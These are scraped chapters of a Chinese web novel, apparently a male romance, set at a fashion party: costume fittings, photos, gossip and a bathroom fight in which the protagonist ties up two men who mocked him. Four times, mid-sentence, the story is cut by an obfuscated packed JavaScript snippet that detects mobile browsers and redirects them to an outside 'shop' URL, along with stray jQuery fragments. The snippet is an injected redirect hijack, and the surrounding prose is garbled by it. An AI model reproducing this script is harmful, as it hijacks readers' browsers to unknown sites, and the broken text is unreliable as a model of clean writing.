被临时征用为男士更衣室的是负一楼的影音室。宽阔的沙发椅上三三两两丢着宾客换下来的衣服,浅色系的真丝睡袍挂满一排排落地架,占掉大半个房间。这些都是郑瑞彤自己的设计师品牌。闻青延笼统扫了眼,挂着的差不多是两三个系列。
“……都是提前洗护过的新衣服,彤姐说作为礼物送给宾客,派对结束后可以直接穿走。隔壁娱乐室临时改成了化妆间,换完衣服可以去那里整理妆发,有专门的妆造师等在化妆间……那你们先换衣服,我在外面等候,有事叫我一声就好。”Allen边说边走到门边,轻轻掩上门。
还能白得件睡衣?很久没买新睡衣的闻青延心中一喜,站在落地架前,手指滑过一件件昂贵的衣料,挑得起兴。
一旁的路知远也挑得很起劲,他从落地架上拿出一件睡袍,朝闻青延身上比划,“你穿这件怎么样?”
闻青延低头扫了眼,这长度就堪堪遮住大腿根,整件衣服一粒扣子也没有,全靠腰间一根细细的系带,走两步就会春光绽放。
闻青延:“……我有病?”穿这件出去花园走
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921387|192560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光吗?
“这件呢?我还挺喜欢的。”路知远又取下另一件睡衣,贴在闻青延身上,这件长度倒是垂到地上,却是件吊带裙,腰间背后一大片蕾丝镂空。闻青延拍摄时也穿过女装或中性时装,私底下却没有穿裙子的癖好,他推开路知远的手,“你喜欢你自己穿,风一吹冷死了。”
“花园有供暖的。”路知远可惜地把两件睡衣搁在一边。
“你挑你自己的吧,我选好了。”闻青延选了一套粉丝绒织金长袍,利落地脱了衣服,正要往身上套呢,突然感觉臀部一凉,回头一看,路知远手指勾着他的内裤往外扯。
闻青延下意识捂住前面,莫名其妙道:“你干嘛?”
“别把我内裤扯坏了!”
虽然是十块钱一条买的假货,但闻青延还挺稀罕的,这内裤刚买回来时还有些磨腿根,洗了几次后就变得很好穿,洗也洗不旧,甚至晒晒太阳更崭新了。
路知远眼睛盯着两瓣粉白,嘴上应道:“哦,你内裤挺好看的,我看看水洗标,想买同款。”
闻青延有些心虚,赶紧掰开路知远的手,三两下裹上睡袍,怕被路知远发现自己的内裤是假货。“就是CK经典款嘛,还需要这样看?”
还真是CK经典款。
但就是真货才奇怪……穿在外头给人看的鞋子都是假的,穿在里面的内裤怎么会是真的?路知远悻悻缩回手。
“我换好衣服了,去隔壁等你。”闻青延系好腰带,阔步推门离开。
-
闻青延一打开门,就看见Allen靠着墙守在门口。
他问Allen:“化妆间在哪里?我先过去梳个头发,路知远还没那么快好。”
Allen确认了眼路知远没跟出来,才扯了扯嘴角道:“行,我先领你过去。”
路上,Allen告诉闻青延他们三个是最晚到的,今天宾客大多是时尚圈的,有杂志编辑、摄影师、设计师、模特、还有几个大网红和小明星,都早早过来换装,去花园开直播了。
“还有直播?”闻青延问。
“当然啦,今天除了是郑瑞彤的生日,主要还是她名下这个新的小品牌上新,需要做一波宣传,不然请这么多人来干嘛?”Allen不以为然,他轻轻撞了下闻青延的肩膀:“装什么?你也是为了搭上这波时尚资源来的吧?”
他感慨道:“真想不到你是gay!我前女友你知道吗?”Allen说了个圈内名模的名字,“她之前对你一见钟情,甚至托我帮忙给她和你牵线。还好我没多管闲事。”
闻青延:“额,你误会了,我不是gay。”
“这有什么不好意思承认的?在我们这圈里都很正常。”Allen眨了眨眼睛,“喂,说说,你是怎么傍上路家那位的?我当初为了跟郑瑞彤搭上关系,可是找了好几个中间人……”
闻青延本来想说路知远是他舍友,但想了想还是不太愿意和Allen透露自己的相关信息,于是只是重音重复了一遍:“我真不是gay!”
Allen终于信了,但随即露出颇有些敬佩他的神情,拍拍他的肩膀,叹气道:“兄弟真不是gay?直男牺牲这么大?!活该你发达!”
闻青延:“……”
17. 兔耳朵
Allen惦记着路少还在“更衣室”,不敢怠慢,便只将闻青延送到长廊拐角,用手指了指,告诉他左转直走就是。
闻青延照Allen说的走了一段路,绕过奢石屏风,果然到了“临时妆造室”
这一大块空间没有做硬隔断,摆了台球桌、麻将桌、室内高尔夫模拟器等等娱乐设施,空间仍十分宽敞。
闻青延这头刚走进来,那头坐在麻将桌前吃面的男人,啪一下把筷子放下,抽张纸巾抹了抹嘴就迎上来道:“哈喽~帅哥,我帮你做造型!”
男人腰间系着条黑围裙,上面整排口袋,插满了妆造工具。
闻青延瞥见一个工牌半露在其中一个口袋外,上面写着Max。
他摆手婉拒:“不用了,我只要简单抓一下头发就好……”
“要的要的。”Max硬拉着闻青延坐麻将桌前,“坐这来,这边光线好。”
麻将桌上架着几面大镜子,镜子脚边以一溜的化妆品和化妆工具,一旁放着几辆小推车,上面则堆满了发泥、定型喷雾、梳子、卷发棒、拉直板、吹风机等造型产品。
Max把吃剩的面推远,戴上干净的手套,双手捧着闻青延的头,轻轻在镜子左右转动,不由道:“你这头骨长得真好,五官又这么能打,就算剃光头也好看。”
闻青延连忙转头去看Max:“我不剃光啊,我是模特,公司有造型要求,不能乱剪头发的。”
Max哈哈大笑,拿起卷发棒插电,解释道:“别怕,帅哥。不会真的剪你头发。”
“我想到好几套造型都很合适你!”Max摩拳擦掌要给他做个完整的造型。
闻青延只好说:“尽快吧,后面还有一位,我们急着赶去花园呢。”
“放心吧!我手很快的。”
-
Allen领着路知远进来的时候,闻青延已经顶着一头蓬松的卷发。
他从镜子里瞥见一抹灰色的身影,想扭头,刚动了一点就马上被抓着鬓发缠丝带的Max叫住。
闻青延只好继续保持微微低头的姿势,抬起眼,看镜子里的路知远一步步走近。
路知远换了件米灰色的丝绒睡衣,整体都比较素,只有衣领裤脚绣了些花纹。
他边走近,边举起手里拎着的一双烟粉色羽毛平底拖鞋,晃了晃,笑道:“走这么急,没发现鞋子没换吗?”
路知远在闻青延身后站停,两人在镜子中对上视线。
闻青延那双眼睛,因为瞳色浅,一受光,就波光粼粼,仿佛含情脉脉。
路知远手上拎着的鞋啪一声掉地上。
闻青延伸出脚比了比,码数看着差不多,便随意道:“谢了,就放着吧。我马上就好了,一会再换。”
路知远却突然合衣蹲下,滚烫的大掌一把抓住闻青延的脚踝,低声道:“我帮你换吧。”
Max认得路知远,看他这动作惊得手里的缎带打了个死结。
一旁的Allen也跟着挑了挑眉。
闻青延觉得有些别扭,楞楞地“啊?”了一声。
路知远已经脱下闻青延一只鞋子,捏着他的脚掌往膝盖上放,又要去捞另一脚。
Max生怕自己在旁边杵着妨碍路少,他手上迅速打了个漂亮的蝴蝶结,松开闻青延的头发,轻声说了句:“好了。”
又扭身去找Allen:“诶,Allen,我有个东西不知道掉在哪了,你知不知道……”
闻青延看着Max和Allen两人勾勾搭搭离开,才后知后觉俯身去够自己的脚。“我这边好了,路知远你去等着做造型吧,我自己换鞋。”
闻青延坐久了,睡袍带子有些松散,一俯身领口大敞,露出大片雪白的胸膛。
路知远瞥见一点樱粉,低下头,捏着闻青延的脚没松手,语气暗哑道:“你坐着。”
“你、你松开,我自己来。”
闻青延边说,腿还边挣扎,想把脚缩回去。
“别动了,换个鞋有什么不好意思的?”
路知远一手卡着他还穿着鞋子的那只脚踝,一手捏住搁在他膝上乱动的那只腿的小腿肚。
“别、别…很痒啊!”
闻青延本来就怕痒,浑身都是痒痒肉,路知远这会捏住他的小腿肚,一股酥酥麻麻的痒意直钻进骨缝里,小腿不受控地抽搐了几下,脚就在路知远的大腿上碾来碾去。
不知道碾到什么,路知远闷哼一声,用两只膝盖强硬夹住他乱动的脚。
“行了,我又没挠你痒痒…你再扭衣服都要散了,赶紧系一下。”路知远松开手,没再捏他小腿肚。
闻青延听话抓住衣领,没继续乱动,也怕他再捏自己的腿,急声催促:“那你赶紧!”
“……脚别晃。”路知远咬牙,松开膝盖,闻青延两只脚套着洁净的白袜,像刚出巢的小白鸟跌跌撞撞地飞走。
路知远只能追着把两只拖鞋套到他脚上,然后抬头打量终于规规矩矩坐在椅子上的闻青延。
路知远第一次发现自己还有几分打扮洋娃娃的兴趣。
闻青延一头卷发,鬓边还系了两根粉缎带,小巧的蝴蝶结垂在腮边,脸颊泛着粉霞光,身上披着满是钉珠和羽毛的粉丝绒睡袍,脚上也套着粉粉的羽毛拖鞋,低着头看自己的脚,可不就像一个大号的洋娃娃。
终于换好鞋子,闻青延连忙站起来跺了跺脚,甩掉腿上陌生的触感,转头见路知远还蹲在地上,奇怪道:“你怎么还不起来?”
路知远:“……腿麻,蹲一会。”
闻青延:“行吧,这么虚。”
路知远:“……”
他拿起手机摁了几下,“你先让那个什么Allen带你去花园吧,我接个电话。”
路知远手机刚刚有响吗?
不过闻青延也没有多问,估计是有什么私事,他点点头出去找Allen。
-
不同安静的别墅,日光下的花园里,充满欢声笑语,放眼望去,仿佛是一部三流青春电影,风华正茂的俊男美女聚在四季如春的花园里挥霍光阴。
闻青延停驻在花园入口处雪白的石雕喷泉前,望着飞溅起的水珠发呆。
“这是金荔山庄开发商赠送的精修,买来的时候就自带的喷泉。”郑瑞彤端着两杯香槟走过来。
跟他家里那个简直一模一样,闻青延伸手轻轻摸过石雕的边缘,完好无损,没有记忆里的小磕碰和涂鸦。
郑瑞彤低啜一口香槟,将另一杯递给闻青延,徐徐道:“专门请了几位现代名家手工雕刻,我还挺喜欢的,所以重装花园时,也没把它挪走。”
闻青延站姿松弛,但细长的脖颈和腰背挺得笔直。他单手抱臂,随意地接过香槟,杯身略微倾斜,朝郑瑞彤敬了敬,气质矜贵,举手投足没有一丝窘迫或青涩,仿佛见惯了这样场合和交际。
“这身粉丝绒,除了你没有第二个人能穿出这个效果……青延,我之后办秀一定请你,你务必要来!”郑瑞彤觉得赏心悦目,又多看了他几眼。
一旁的Allen见状,生怕好不容易才勾搭到手的金主被闻青延钓走,连忙靠上去开屏。
他扯了扯领口,暗自绷紧胸肌,凑到郑瑞彤耳边压低嗓音问道:“彤姐,你帮我看看,我胸口是不是被虫子叮了,有些痒。”
闻青延收回飘散的思绪,回头斜睨了Allen一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921388|192560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼,太刻意了吧,兄弟。
偏偏郑瑞彤好像很吃这套,她在Allen蜜色的胸肌上捏了一把,镶了钻的长美甲一下刮出几条红印,笑吟吟道:“好像是被虫子咬了,红了一片。”
Allen低声说:“那怎么办?”边说还便给闻青延使了个眼色。
闻青延识趣道:“我帮你去找阿姨要药膏。”
他说完就大步往花园里走,隐约听见两人调情的蜜语从身后飘来。
“口水好像能止痒……”
看来是不需要药膏了。闻青延边走边想。
-
“闻青延!闻青延——”
闻青延一走进花园,就听见有人叫他名字,他循声望去。
一个女生正坐在柠檬树下的实木长桌前和他招手。
“青延,来这里!”
那是几棵柠檬树的树荫组成一个天然的凉棚,树下摆了一张有些年头的实木长桌,长桌上摆满各类新鲜瓜果、精巧的甜食点心、花样繁多的饮品……一群戴着各式面罩的男男女女围坐在长桌旁,朝他招手的女生无疑是其中众星拱月的存在。
她戴着梅花鹿面罩,穿了身珍珠白的真丝睡裙,外罩一件流苏外袍,招手时衣袖的流苏跟着晃动,闪烁如星河,以至于闻青延一眼就在一群人中定位到她。
闻青延走近了才辨认出来这只梅花鹿是熟人,“周嘉云?”
周嘉云点点头,头上的铁丝扭成的鹿角跟着微微颤动。
旁边的人戴着兔子、金钱豹、小猫、小狗、蝙蝠、蝴蝶各类动物造型的面罩……一双双眼睛都盯着闻青延看。
本来热闹的长桌突然安静了下来。
“你们怎么都蒙着脸?防晒?”闻青延指了指自己的脸,有些不解。
周嘉云旁边带着猫女眼罩的女生夸张地倒抽一口气,摇着周嘉云说:“彤姐哪里请来的超级大帅哥?!嘉云快给我们介绍介绍!”周嘉云于是笑着把闻青延引荐给这桌子人,大家纷纷往外挪,在周嘉云旁边给闻青延空出一个位置。
闻青延一坐下,周嘉云就朝不远处的草坪抬了抬下巴,“喏。”
他顺着望过去,那边用纱幔和鲜花搭了好几个场地,还铺着七八处野餐垫。花园的宾客大多聚集在那块草坪上,手里基本都举着手机或运动相机。
“彤姐请了很多人做宣传,到处都在直播或拍摄,我们不想入镜。”周嘉云讲完,又问他:“你要不要也戴个面罩?”
闻青延:“那我也戴一个吧,融入这桌动物茶话会。”
挨着周嘉云做的猫女笑得前俯后仰,“这说法我喜欢,像爱丽丝梦游仙境,怪可爱的。”她说着还给闻青延倒了一杯花茶,推到他面前。
闻青延:“谢谢。”
“钉子,面罩不都放在你那吗?还剩下什么?给帅哥挑一个。”
被叫钉子的男人就坐在闻青延对面,他戴着豹子面罩,眼见闻青延一来,桌上的女生都围着他转,有些不爽地撇撇嘴,特意从脚边的藤编筐里搜罗一条粉蕾丝兔女郎眼罩丢过去,“唯一一条粉色的,正适合你。”
女生们果然跟着起哄:“就这条了,粉兔子,正好很搭呢!”
周嘉云也跟着笑,但还是凑近问闻青延:“要换一条吗?”
“不许换,不许换……帅哥就戴这个吧!”女孩子嬉笑作一团。
钉子扬扬眉,等着看闻青延下不来台。
结果闻青延半点没有心理障碍,“诺,戴上了。”他戴好后还左右转了转,歪歪头问:“好看吗?”
两只毛茸茸的兔耳朵也跟着歪了歪,这一桌的女生更热情了,纷纷要上手捏捏他的兔耳朵尖,轮流和他拍拍立得。
18. 宝丽来
闻青延起身,好脾气地任由女孩们拿他当出片神器,轮流摆姿势拍照,全程配合互动。他本来就是模特,被很多商业摄影师夸赞过镜头表现力,这会卖萌、耍酷、扮可怜各种表情动作都信手拈来,大家拍的兴致勃勃,相纸一下用掉好几盒。
坐在这张桌子上的一半是郑瑞彤因私交邀请的富家女和富家子,来捧个人场顺便猎艳;另一半是奔着攀附上流圈子来的小模特或小网红,大多没有收到郑瑞彤的合作邀请,用尽人情手段才挤进这场聚会,便也没去草坪,留在这张桌子上凑趣。
大家都不是什么信男善女,坐在一起心怀鬼胎,互相哄着捧着,本来好几对都要看对眼了,结果闻青延一来,女生注意力全部黏他身上去。不仅大小姐们瞬间移情别恋,对主动送上来献殷勤的帅哥索然无味;那些想着钓凯子的美女,也舍得放弃已经咬钩的富哥,转而围着闻青延散发魅力。
同桌的男人看得眼热,有个富少先开口问:“这闻青延什么来头?咱们圈子里有这号人吗?”
“姓闻……没听过……”
“看起来跟周嘉云玩挺好的,该不会是周家的亲戚吧?”
“有可能,他好像还是跟路知远一起来的,刚刚彤姐那助理不是专门被叫去接待吗?”
讲到可能跟周家、路家有关系,大家又沉默不讲话了。
直到另一个富少翻着手机,突然笑出声,“我说这名字怎么那么耳熟呢?”他顿了顿压低声音,语气轻蔑又有些邪恶的趣味,说:“就是傍上路少的一个男模,听说是在Moon勾搭上的。”
“真的假的?路少搞基?”“骗谁给你当出头鸟呢?Moon的男模能拿到彤姐的邀请函?”
见大家不信,这哥们翻过手机举给他们看,:“喏,骗你们干嘛?冯少的朋友圈发了他们群聊的截图……”
手机在几人间传阅,大家看完后都心照不宣地嗤笑。
“哟,还A大校草呢。”“搞不懂,路少怎么搞男人去了?”“男的玩起来更带劲。”“靠,你也搞基啊?”“别说,长成他这样……男的也没什么不可以。”“去你的,你不是喜欢胸大腰细的吗?”“你就说他腰细不细……”
几个富家子弟聚在一起,话题越说越下流,流连在闻青延身上的视线也变得有些晦涩。
旁边被冷落的男模特之流,本来以为闻青延也是上流圈子的,不敢开罪,现在听了一耳朵八卦,就生出一肚子怨气和嫉恨。尤其是钉子,他还在截图上瞅到女友狄千雁开玩笑要认识闻青延的群聊记录,一下子炸了。其他同行看热闹不嫌事大,纷纷撺掇他莽上去打头阵。
钉子深深吐了一口气,扬起笑脸,起身凑上去亲了亲猫女也就是女友狄千雁的脸颊,轻声道:“宝贝,我也来一起拍好吗?”
“那太好了!正嫌自拍角度太局限了。”狄千雁推开钉子的脸,一把将宝丽来塞到他手里,“你来给我们拍。”
等等,他不是这个意思……钉子想辩解,但狄千雁已经站在闻青延身旁摆好姿势,抬头见钉子还傻愣愣站着,当即皱眉道:“你愣着干嘛呢?”大小姐声音变粗是发脾气的前兆,钉子只好举起宝丽来给两人拍照。
把这男妖精拍丑点,钉子冒出个坏主意,故意挑了个刁钻的角度按下快门。
“怎么样?我看看!”狄千雁凑过来。
钉子一把盖住相片上被拍得奇形怪状的狄千雁,悲愤地看着帅出全新角度的闻青延,吞了吞口水,哄着她说:“宝贝,这张拍糊了,你先退过去,我再给你重拍一张。”
“行吧。”狄千雁退回去,“青延,我们站在这,再来一张吧!”
闻青延点点头。
这回她挽住闻青延的胳膊,露出一个甜蜜蜜的笑容,声音却是和笑容不符的阴恻恻,威胁钉子道:“这张再没拍好,你回去给我等着。”
钉子挨了狄千雁的眼刀,不敢再动手脚,拿出十佳男友素养,精心调整光线、角度、构图……终于框定住一个狄千雁最美的画面,他喊倒计时:“3、2……”
闻青延看向镜头,露出一个微笑,背后却突然传来一声短促的警示:“有蛇!”
“蛇?!啊!!!!”
闻青延还没反应过来发生了什么,身边的狄千雁已经抛开他的臂膀,整个人尖叫着弹射出去十里远。
“?”
闻青延正准备低头寻找蛇的踪影,突然被人从后背一把抱住,他下意识挣扎,但环抱着他的两只胳膊跟铁链一样紧紧绞着他。
他的下巴随即被大掌托起,闻青延感觉到耳畔一阵温热的气息拂过:“看镜头。”
“咔嚓——”
快门声结束后,闻青延的下巴才被松开。
他稍微回过头,果然对上路知远带笑的眼睛。
“你干嘛?吓我一跳……”闻青延还没来得及骂人,另一边意识到自己的被耍了的狄千雁已经杀了回来。
“好你个路狗!阴不阴啊?吓我有蛇!故意把我挤开抢我位置!我要重新跟青延拍一张照片……”
“呵,想得美。”路知远似笑非笑,没理会狄千雁,揽着闻青延绕过她,径直去看照片。
眼睁睁目睹了一场闹剧的钉子仍举着宝丽来呆立在原地,不知道他倒计时按个快门的功夫,怎么就发生了这么多事情。
路知远:“给我。”
钉子讷讷地将宝丽来递过去,才回过神来,赶紧跑去哄暴跳如雷的狄千雁。
路知远一手揽着闻青延,一手拿着宝丽来,把吐出的相纸送到闻青延眼前,“你来拔片。”
闻青延翻了个白眼,伸手轻轻弹了下相纸,黑帘一掀,露出隐约成像的相纸。他拔出相纸,静候了几秒,就完全成像了。
照片上,路知远从背后抱着闻青延,几乎将闻青延笼罩在怀中。
闻青延被托着下巴强制看向镜头,表情有些错愕,按快门时,路知远正好将嘴巴贴在闻青延耳边讲话,照片拍的有些错位,乍眼一看,还以为他在亲吻闻青延的脸颊。
“好怪。”闻青延嫌弃地把照片大力拍在路知远胸膛上,连人带照片一起推远,“丢了吧。”
“咳、咳。”路知远被他拍得咳了几声,赶紧接住飘落的相片,仔细端详,“这不挺好看的吗?干嘛丢了?”
“我们第一张合照,我可要珍藏起来。”路知远看了看相片,又看了看闻青延,笑了。
闻青延头上的兔耳朵不知道什么时候折了一只,配上他因为吃惊微张的小嘴,在照片上浑然是一只被突如其来的亲吻吓折耳的粉兔子。
路知远抬手捏了捏闻青延折下的兔耳朵,把它竖起来,毛茸茸的,看得人心痒痒的。
闻青延“啪”一声拍掉他的手,“别弄。”怪肉麻的。
路知远挑了挑眉,“捏捏怎么了?我刚刚走过来,看到你让很多女生捏了这两只兔耳朵。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921389|192560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“你是女生吗?你就捏。”闻青延一言难尽地看了路知远一眼,“这么喜欢捏,自己去戴一个。”
路知远笑眯眯地收回手,等着吧,将来他爱捏哪里就捏哪里,想怎么捏就怎么捏,到时哭着求他也没用。
-
后半程派对,路知远和闻青延两人几乎形影不离,主要是路知远单方面和闻青延绑定跟随了,他的理由很正当:“郑瑞彤的派对鱼龙混杂,你又是第一次来,谁也不认识,我不放心你自己一个人呆着。”
闻青延:“谢谢你的好意,但是我自己去厕所就可以。”
见路知远还想说话,闻青延打断他。
“别告诉我你也想去厕所,那你先去。”又不是小学生了,上厕所还要手拉着手一起去。
路知远不说话了,目送闻青延离开花园。
留在别墅的阿姨帮闻青延指了指一楼洗手间的位置。
他刚进洗手间,外边有人敲了敲门,他说:“有人。”
外头的男人说:“行,哥们快点,膀胱要炸了。”
闻青延撩起睡袍,漫不经心地想道,声音有点耳熟,好像是刚刚拍照的那个钉子吧?
很快他听见外边好像又来了个人。
钉子说:“里面有人。”
“靠,我膀胱要炸了,哥们快点啊。”来人敲了敲门,又对钉子说:“你一会要不让我先上?”
闻青延挑起一边眉头,又是个熟人,是他那个同事Allen。
钉子不赞成:“我也要憋不住了!Allen,你不去楼上的洗手间,在这里跟我争一楼的厕所干嘛?”
Allen耸耸肩:“彤姐规定今天楼上是女士的空间,叫我也别随便上去。”
“好吧。”钉子从口袋里掏出一包烟,叼了一支烟在嘴里,一手伸进裤兜里掏打火机,一手散烟给Allen,含糊道:“抽不抽?”
Allen接过,两人轮流点燃香烟。
钉子深深吸了一口烟,长舒一口气,叹息道:“唉,大小姐脾气,可爱是可爱,但难哄也是真难哄。”
“不然这钱该你我赚呢?”Allen不以为意,吐了一个烟圈,问:“狄千雁又怎么了?”
“还不是那个闻青延,就跟着路少和周大小姐来的那个。”钉子怕Allen不清楚他在讲哪个人,不情不愿补充了一句:“长得挺帅那个粉毛。”
Allen拖长尾音道:“他啊——”
钉子冷冷哼笑一声,“他装得还挺像个贵公子的,连我都差点被他唬住。结果桌上的富少聊起来,才知道跟我们一样都是卖的,不过我们卖前面,他卖后面。”
Allen笑了:“他跟我签在同一个模特公司,听说还是高材生。”他顿了顿又说,“他能傍上路少,真是本事大。”
“他本事比你想得大呢。”钉子阴阳怪气道,“傍着路少还不够,还要勾搭别人女朋友。”
Allen:“怎么?你家大小姐见异思迁了?”
“不知道那种小白脸有什么好?”钉子不承认自己会被闻青延比下去,他跳过这个话题,问:“刚刚里面好像有动静?是不是要好了?”
Allen夹着烟敲了敲洗手间门:“哥们,好了没啊?”
闻青延看着镜子里的自己,慢条斯理地擦干手上的水迹,心想:
他是出去吓死他们?还是不出去憋死他们呢?
19. 别惹他
Allen敲了半天,洗手间里都没回应,他有些不耐烦,但还顾忌着里头可能是惹不起的人,嘴上忍着气问:“哥们,好了吗?”
“怎么一直没动静?”“不会出事了吧?”
“我来。”钉子叼着烟上前,一手撑着门,一手握着门把手粗暴转了转。“需要帮忙吗?兄弟?”
门突然打开,一只手伸出来,抓住他的睡袍领子,往里用力一扯。
钉子猛地被人拖进洗手间,又被拽着往门板上重重一摔,正要开骂,对上闻青延似笑非笑的眼睛,愣住了,没想到蛐蛐八卦聊到正主面前了。
闻青延到底是路少的人,钉子不敢得罪他,至少现在不敢。
他忍痛赔着笑脸道:“对不起,对不起,哥们,我就是嘴贱,酸的。”
“酸什么?”闻青延揪着钉子的衣领,凑近了笑吟吟地问。
闻青延挑着眉,笑容和语气都轻飘飘,一根羽毛似的,往人心底挠了几下。
笑得真欠操……难怪刚刚桌上那些富哥聊到他气氛这么微妙,你说一男的长成这样,能怪人惦记吗?
钉子不由跟着咧嘴,却见闻青延神情一凛,握拳狠狠捶在钉子肚子上。
“唔——”钉子吃痛,夹着腿捂住肚子。他本来就尿急,被闻青延这么捣一拳,差点没憋住。
“艹!”
没想到闻青延这么意气用事,在郑瑞彤的地盘也敢直接闹起来。
钉子当下火气一上来,也不记得什么路少不路少了。闻青延这细胳膊细腿,能挨得住他几拳?
“给脸不要脸!”他抡起拳头专门冲着闻青延的脸砸过去。
眼见钉子虎扑上来,闻青延往后一仰,轻轻一偏头,拳风擦着他的脸颊划过,粉缎带在半空中扬起。
钉子一拳打空,身子跟随惯性往前倾,不等他稳住重心,闻青延又是一个肘击,狠狠砸在他后腰。
半截烟头掉在地上。
钉子痛得大叫一声,摔了个狗啃屎。
闻青延反手擒住他,单膝压在他背上。钉子被摁趴在地上仍不服气,挣扎了半天,没挣脱,只能破口大骂:“……我干死你!”
“来啊!干我啊!”闻青延轻佻道,手上却暗自用劲一扭钉子的手臂,钉子马上呼痛求饶:“别别别……哥,我错了!哥!”
闻青延笑:“酸我卖后面是吧?”
钉子:“不敢不敢……”
“别啊,这有什么好不敢的?人人都有屁股,你想你也可以卖啊。”闻青延凉凉道。
“啊?”钉子一脸惊恐,把头摇得像拨浪鼓,“我不卖我不卖。”
“我都卖了,你为什么不卖?难道你没屁股?”闻青延故作讶异。
-
Allen眼睁睁看着钉子就这么被扯进洗手间里,门“嘭——”一声又关上反锁了。
随后里头一阵响动,听着像是打起来了。
Allen吓了一跳,连忙又敲又喊。
彤姐的聚会要是闹出了什么事,肯定没他好果子吃!这样下去不行,他跑出去叫阿姨去找钥匙送过来,回头就发现里头没动静了。
Allen脑洞大开,一时都联想到该不会是有人在里面吸嗨了,激情杀人吧?
他把自己吓出一身冷汗。
不会的,不会的,彤姐这么爱惜羽毛,怎么可能允许有人在她家里搞这些……
门终于打开了。
Allen听见钉子喊他:“Allen,艹,来搭把手。”
“到底在搞什么?”Allen一头雾水,边往里走边问,“钉子?还有谁在里面啊?”
只见钉子浑身光溜溜的只穿着条骚包的豹纹内裤,被用睡袍扭成的绳子捆在角落。
Allen震惊:“woc!钉子!你怎么……”
“嘭”的一声,门关上了。
Allen回头,闻青延就站在门边,见他看过来,还朝他笑了笑。
Allen心里闪过三个大字:不是吧!
“Allen,你知道我是玩攀岩的,别的没什么,就是手劲特别大,打人特别疼。”
Allen不比钉子有骨气,他听见闻青延这么讲,立刻双手捂住脸说:“打人别打脸啊!”
闻青延:“……”他又没有暴力倾向,刚刚揍钉子,也就第一拳是为了撒气,后面几下纯粹是为了制服他,Allen一上来就放弃抵抗,闻青延当然没必要揍他。
但闻青延也不打算放过他,他晃了晃手里钉子的睡袍腰带,故意道:“行,问你个问题,答得上来,我就放过你。”
“你知道我们玩攀岩的,除了手劲大,打人疼以外还有个什么优点吗?”
Allen从指缝里瞄闻青延,迟疑道:“额……身材特别好?”
“错。”闻青延笑眯眯地盯着他,十指翻飞,快速打了几个不同样式的结,又瞬间拆掉,他徐徐公布答案:“是绳结打得又快又好,非常难解开。”
-
闻青延打开厕所门,刚好遇到赶来看情况的阿姨。
“靓仔,Allen说有客人被反锁在厕所里啦?有没有事?”
阿姨抓着围裙,语速一快就带出几句方言,闻青延也只能听懂大概:“……怎么都找不到钥匙,只好去找娄助,她叫我联系物业那边派工程过来看看……头先打过电话了,工程马上到!”
闻青延没想到还有这茬,他是想教训下这两人,但没打算闹大,因此站在门前,没让阿姨伸手去开。
“谢谢,阿姨你让工程不用来了。Allen是帮我去拿的,刚刚门不知道怎么了突然打不开,现在好了。”
“我怎么记得Allen说是狄小姐的男朋友在里头?我还跟娄助讲了……”阿姨有些纳闷,看了眼紧闭的门,“Allen哩?”
洗手间里传出Allen的声音:“我在这,刘阿姨……确实没事了,你让工程不用来了。”
刘阿姨还没讲话,走廊又传来一阵错杂的脚步声。
闻青延望过去,只见路知远从长廊拐角处走出来,郑瑞彤挽着狄千雁的手紧随其后出现。
这阵仗……闻青延握拳捂嘴轻咳了两声。
“你没事吧?”路知远快步走到闻青延身旁,上下打量了他一番。
闻青延心虚道:“……你们怎么来了?”
“听Allen说有客人被锁在卫生间了,千雁说应该是她男友?我陪她过来看看。”郑瑞彤也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921390|192560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有些纳闷,卫生间的门锁好好的,怎么会突然坏了呢?
“你这么久没回来,我过来看看,路上跟她们碰上了。”路知远伸手帮闻青延掖了掖衣领,问他:“上过厕所了?”
闻青延点点头。
阿姨跟郑瑞彤汇报情况,得知现在是Allen在洗手间里,狄千雁疑惑:“奇怪?钉子怎么去个洗手间人就不见了?彤姐,你家一楼只有一个洗手间吧?”
其实一楼还有另外有两个小卫生间,主要是供家里几个阿姨、司机用的,位置比较隐蔽,客人一般不会误闯。
